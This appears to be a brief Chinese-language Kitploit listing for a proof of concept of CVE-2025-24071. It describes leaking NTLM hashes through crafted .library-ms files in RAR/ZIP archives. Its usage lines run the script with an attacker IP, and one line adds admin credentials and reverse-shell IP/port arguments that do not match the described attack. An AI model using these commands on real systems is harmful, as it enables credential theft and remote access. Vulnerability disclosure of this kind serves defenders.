CVE-2025-24071 — CVE-2025-24071 的概念验证，演示了通过 RAR/ZIP 压缩包中精心构造的 .library-ms 文件泄露 NTLM 哈希，在解压时触发 SMB 身份验证。 | Kitploit

CVE-2025-24071_PoC

CVE-2025-24071：通过RAR/ZIP解压和.library-ms文件泄露NTLM哈希

Windows Explorer会在从.rar存档中提取.library-ms文件时自动发起SMB认证请求，导致NTLM哈希泄露。用户无需打开或执行该文件——只需解压即可触发泄露。

使用


>>python poc.py

>>enter file name: your file name

>>enter IP: attacker IP

>>python3 poc.py --url http://domainname.com --user admin --password password --reverse-ip 10.10.10.10 --reverse-port 8888

更新：

更新：微软已更改其CVE编号。微软先前定义的CVE编号CVE-2025-24071已更新为CVE-2025-24054。🤷‍♂